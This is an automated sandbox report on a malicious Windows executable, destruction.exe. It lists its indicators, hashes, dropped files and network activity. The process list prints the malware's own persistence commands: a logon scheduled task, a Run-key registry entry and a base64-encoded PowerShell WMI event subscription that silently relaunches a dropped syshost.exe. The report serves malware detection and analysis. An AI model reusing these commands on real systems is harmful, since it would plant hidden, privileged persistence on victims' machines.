File name:

destruction.exe

Full analysis: https://app.any.run/tasks/e8961f0a-a5f0-4842-a522-fddb08a6f2a8
Verdict: Malicious activity
Analysis date: June 28, 2025, 14:55:03
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
python
pyinstaller
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32+ executable (GUI) x86-64, for MS Windows, 7 sections
MD5:

8ED9B97BBF536C30C558042835C6A369

SHA1:

1657E1285023EBF9502EE2349034A2E7BE8A4C90

SHA256:

EA3E51565059E5AC2E6827341F22E2FDBD9B8A883ED6B7EBCDE5905B890D9037

SSDEEP:

98304:5CYzBnhb/ONAnYRO4Y6ZhkDQet54nHZUPtHfktEzafhOsE+XZ0KLzfaqKoSnnhNl:cfrZ881mwd/kiqis

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  • MALICIOUS

    • Changes powershell execution policy (Bypass)

      • destruction.exe (PID: 3580)
    • Uses Task Scheduler to autorun other applications

      • cmd.exe (PID: 316)
    • Bypass execution policy to execute commands

      • powershell.exe (PID: 2536)
  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • destruction.exe (PID: 2116)
      • destruction.exe (PID: 3580)
    • Process drops legitimate windows executable

      • destruction.exe (PID: 2116)
    • The process drops C-runtime libraries

      • destruction.exe (PID: 2116)
    • Process drops python dynamic module

      • destruction.exe (PID: 2116)
    • Application launched itself

      • destruction.exe (PID: 2116)
    • Loads Python modules

      • destruction.exe (PID: 3580)
    • The process creates files with name similar to system file names

      • destruction.exe (PID: 3580)
    • Write to the desktop.ini file (may be used to cloak folders)

      • destruction.exe (PID: 3580)
    • Starts CMD.EXE for commands execution

      • destruction.exe (PID: 3580)
    • Uses REG/REGEDIT.EXE to modify registry

      • cmd.exe (PID: 3880)
    • The process bypasses the loading of PowerShell profile settings

      • destruction.exe (PID: 3580)
    • There is functionality for taking screenshot (YARA)

      • destruction.exe (PID: 2116)
    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 2536)
    • Modifies hosts file to alter network resolution

      • destruction.exe (PID: 3580)
    • Possibly malicious use of IEX has been detected

      • destruction.exe (PID: 3580)
    • Starts POWERSHELL.EXE for commands execution

      • destruction.exe (PID: 3580)
  • INFO

    • Create files in a temporary directory

      • destruction.exe (PID: 2116)
      • destruction.exe (PID: 3580)
    • Checks supported languages

      • destruction.exe (PID: 2116)
      • destruction.exe (PID: 3580)
    • Reads the computer name

      • destruction.exe (PID: 2116)
    • The sample compiled with english language support

      • destruction.exe (PID: 2116)
    • PyInstaller has been detected (YARA)

      • destruction.exe (PID: 2116)
    • Manual execution by a user

      • syshost.exe (PID: 868)
    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 2536)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (87.3)
.exe | Generic Win/DOS Executable (6.3)
.exe | DOS Executable Generic (6.3)

EXIF

EXE

MachineType: AMD AMD64
TimeStamp: 2025:06:28 14:55:55+00:00
ImageFileCharacteristics: Executable, Large address aware
PEType: PE32+
LinkerVersion: 14.43
CodeSize: 173568
InitializedDataSize: 94208
UninitializedDataSize: -
EntryPoint: 0xce30
OSVersion: 6
ImageVersion: -
SubsystemVersion: 6
Subsystem: Windows GUI
No data.
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Total processes
150
Monitored processes
13
Malicious processes
2
Suspicious processes
1

Behavior graph

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start destruction.exe destruction.exe cmd.exe no specs conhost.exe no specs reg.exe no specs cmd.exe conhost.exe no specs schtasks.exe no specs powershell.exe no specs conhost.exe no specs syshost.exe no specs slui.exe no specs destruction.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
316C:\WINDOWS\system32\cmd.exe /c "schtasks /create /tn "WindowsSystemUpdater" /tr "C:\Users\admin\AppData\Local\Temp\syshost.exe" /sc ONLOGON /rl HIGHEST /f"C:\Windows\System32\cmd.exe
destruction.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
868C:\Users\admin\AppData\Local\Temp\syshost.exeC:\Users\admin\AppData\Local\Temp\syshost.exeexplorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
3221226540
Modules
Images
c:\users\admin\appdata\local\temp\syshost.exe
c:\windows\system32\ntdll.dll
1944\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2116"C:\Users\admin\AppData\Local\Temp\destruction.exe" C:\Users\admin\AppData\Local\Temp\destruction.exe
explorer.exe
User:
admin
Integrity Level:
HIGH
Modules
Images
c:\users\admin\appdata\local\temp\destruction.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
2432\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2536powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('CiRGaWx0ZXIgPSAoW3dtaWNsYXNzXSdfX0V2ZW50RmlsdGVyJykuQ3JlYXRlSW5zdGFuY2UoKQokRmlsdGVyLkV2ZW50TmFtZXNwYWNlID0gJ3Jvb3RcY2ltdjInCiRGaWx0ZXIuTmFtZSA9ICdXaW5kb3dzTWFpbnRlbmFuY2VGaWx0ZXInCiRGaWx0ZXIuUXVlcnlMYW5ndWFnZSA9ICdXUUwnCiRGaWx0ZXIuUXVlcnkgPSAnU0VMRUNUICogRlJPTSBfX0luc3RhbmNlTW9kaWZpY2F0aW9uRXZlbnQgV0lUSElOIDEwIFdIRVJFIFRhcmdldEluc3RhbmNlIElTQSAiV2luMzJfTG9jYWxUaW1lIiBBTkQgVGFyZ2V0SW5zdGFuY2UuSG91ciA9IDMgQU5EIFRhcmdldEluc3RhbmNlLk1pbnV0ZSA9IDAnICMgVHJpZ2dlciBkYWlseSBhdCAzIEFNCiRGaWx0ZXIuX19TRVJWRVIgPSAnLicKdHJ5IHsgJEZpbHRlci5QdXQoKSB9IGNhdGNoIHt9CgokQ29uc3VtZXIgPSAoW3dtaWNsYXNzXSdDb21tYW5kTGluZUV2ZW50Q29uc3VtZXInKS5DcmVhdGVJbnN0YW5jZSgpCiRDb25zdW1lci5OYW1lID0gJ1dpbmRvd3NNYWludGVuYW5jZUNvbnN1bWVyJwokQ29uc3VtZXIuRXhlY3V0YWJsZVBhdGggPSAnY21kLmV4ZScgIyBVc2UgY21kLmV4ZSBhcyBhIHByb3h5IGZvciBzdGVhbHRoCiRDb25zdW1lci5Db21tYW5kTGluZVRlbXBsYXRlID0gJ2NtZCAvYyBzdGFydCAvbWluICIiICJDOlxVc2Vyc1xhZG1pblxBcHBEYXRhXExvY2FsXFRlbXBcc3lzaG9zdC5leGUiJyAjIExhdW5jaCB0aGUgRVhFIHNpbGVudGx5CiRDb25zdW1lci5fX1NFUlZFUiA9ICcuJwp0cnkgeyAkQ29uc3VtZXIuUHV0KCkgfSBjYXRjaCB7fQoKJEJpbmRpbmcgPSAoW3dtaWNsYXNzXSdfX0ZpbHRlclRvQ29uc3VtZXJCaW5kaW5nJykuQ3JlYXRlSW5zdGFuY2UoKQokQmluZGluZy5GaWx0ZXIgPSAkRmlsdGVyLl9fUEFUSAokQmluZGluZy5Db25zdW1lciA9ICRDb25zdW1lci5fX1BBVEgKJEJpbmRpbmcuX19TRVJWRVIgPSAnLicKdHJ5IHsgJEJpbmRpbmcuUHV0KCkgfSBjYXRjaCB7fQo=')) | Invoke-Expression"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exedestruction.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
3580"C:\Users\admin\AppData\Local\Temp\destruction.exe" C:\Users\admin\AppData\Local\Temp\destruction.exe
destruction.exe
User:
admin
Integrity Level:
HIGH
Modules
Images
c:\users\admin\appdata\local\temp\destruction.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
3880C:\WINDOWS\system32\cmd.exe /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SystemHostUtility" /t REG_SZ /d "cmd /c start /min "" "C:\Users\admin\AppData\Local\Temp\syshost.exe"" /f"C:\Windows\System32\cmd.exedestruction.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
4520C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exesvchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
4984"C:\Users\admin\AppData\Local\Temp\destruction.exe" C:\Users\admin\AppData\Local\Temp\destruction.exeexplorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
3221226540
Modules
Images
c:\users\admin\appdata\local\temp\destruction.exe
c:\windows\system32\ntdll.dll
Total events
4 604
Read events
4 604
Write events
0
Delete events
0

Modification events

No data
Executable files
54
Suspicious files
34
Text files
2
Unknown types
0

Dropped files

PID
Process
Filename
Type
2116destruction.exeC:\Users\admin\AppData\Local\Temp\_MEI21162\_ctypes.pydexecutable
MD5:29873384E13B0A78EE9857604161514B
SHA256:3CC8500A958CC125809B0467930EBCCE88A09DCC0CEDD7A45FACF3E332F7DB33
2116destruction.exeC:\Users\admin\AppData\Local\Temp\_MEI21162\_lzma.pydexecutable
MD5:D63E2E743EA103626D33B3C1D882F419
SHA256:7C2D2030D5D246739C5D85F087FCF404BC36E1815E69A8AC7C9541267734FC28
2116destruction.exeC:\Users\admin\AppData\Local\Temp\_MEI21162\_decimal.pydexecutable
MD5:21FCB8E3D4310346A5DC1A216E7E23CA
SHA256:9A0E05274CAD8D90F6BA6BC594261B36BFBDDF4F5CA6846B6367FE6A4E2FDCE4
2116destruction.exeC:\Users\admin\AppData\Local\Temp\_MEI21162\api-ms-win-core-debug-l1-1-0.dllexecutable
MD5:33BBECE432F8DA57F17BF2E396EBAA58
SHA256:7CF0944901F7F7E0D0B9AD62753FC2FE380461B1CCE8CDC7E9C9867C980E3B0E
2116destruction.exeC:\Users\admin\AppData\Local\Temp\_MEI21162\_hashlib.pydexecutable
MD5:3E540EF568215561590DF215801B0F59
SHA256:0ED7A6ED080499BC6C29D7113485A8A61BDBA93087B010FCA67D9B8289CBE6FA
2116destruction.exeC:\Users\admin\AppData\Local\Temp\_MEI21162\api-ms-win-core-datetime-l1-1-0.dllexecutable
MD5:CFE0C1DFDE224EA5FED9BD5FF778A6E0
SHA256:0D0F80CBF476AF5B1C9FD3775E086ED0DFDB510CD0CC208EC1CCB04572396E3E
2116destruction.exeC:\Users\admin\AppData\Local\Temp\_MEI21162\api-ms-win-core-file-l1-2-0.dllexecutable
MD5:1C58526D681EFE507DEB8F1935C75487
SHA256:EF13DCE8F71173315DFC64AB839B033AB19A968EE15230E9D4D2C9D558EFEEE2
2116destruction.exeC:\Users\admin\AppData\Local\Temp\_MEI21162\api-ms-win-core-console-l1-1-0.dllexecutable
MD5:E8B9D74BFD1F6D1CC1D99B24F44DA796
SHA256:B1B3FD40AB437A43C8DB4994CCFFC7F88000CC8BB6E34A2BCBFF8E2464930C59
2116destruction.exeC:\Users\admin\AppData\Local\Temp\_MEI21162\api-ms-win-core-heap-l1-1-0.dllexecutable
MD5:ACCC640D1B06FB8552FE02F823126FF5
SHA256:332BA469AE84AA72EC8CCE2B33781DB1AB81A42ECE5863F7A3CB5A990059594F
2116destruction.exeC:\Users\admin\AppData\Local\Temp\_MEI21162\api-ms-win-core-file-l2-1-0.dllexecutable
MD5:BFFFA7117FD9B1622C66D949BAC3F1D7
SHA256:1EA267A2E6284F17DD548C6F2285E19F7EDB15D6E737A55391140CE5CB95225E
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HTTP(S) requests
5
TCP/UDP connections
23
DNS requests
16
Threats
1

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1268
svchost.exe
GET
200
23.216.77.42:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
whitelisted
1268
svchost.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
whitelisted
1356
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
whitelisted
1356
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
whitelisted
420
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
whitelisted
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1268
svchost.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:137
whitelisted
5944
MoUsoCoreWorker.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
1976
RUXIMICS.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
whitelisted
1268
svchost.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
1268
svchost.exe
23.216.77.42:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
1268
svchost.exe
23.35.229.160:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
1356
SIHClient.exe
172.202.163.200:443
slscr.update.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
GB
whitelisted
1356
SIHClient.exe
23.35.229.160:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 4.231.128.59
  • 20.73.194.208
whitelisted
google.com
  • 142.250.185.206
whitelisted
crl.microsoft.com
  • 23.216.77.42
  • 23.216.77.6
  • 23.216.77.28
whitelisted
www.microsoft.com
  • 23.35.229.160
whitelisted
slscr.update.microsoft.com
  • 172.202.163.200
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 20.242.39.171
whitelisted
login.live.com
  • 20.190.159.73
  • 20.190.159.131
  • 40.126.31.69
  • 40.126.31.129
  • 20.190.159.130
  • 20.190.159.2
  • 20.190.159.64
  • 40.126.31.3
whitelisted
ocsp.digicert.com
  • 2.17.190.73
whitelisted
client.wns.windows.com
  • 172.211.123.249
whitelisted
activation-v2.sls.microsoft.com
  • 40.91.76.224
whitelisted

Threats

PID
Process
Class
Message
Unknown Traffic
ET USER_AGENTS Microsoft Dr Watson User-Agent (MSDW)
No debug info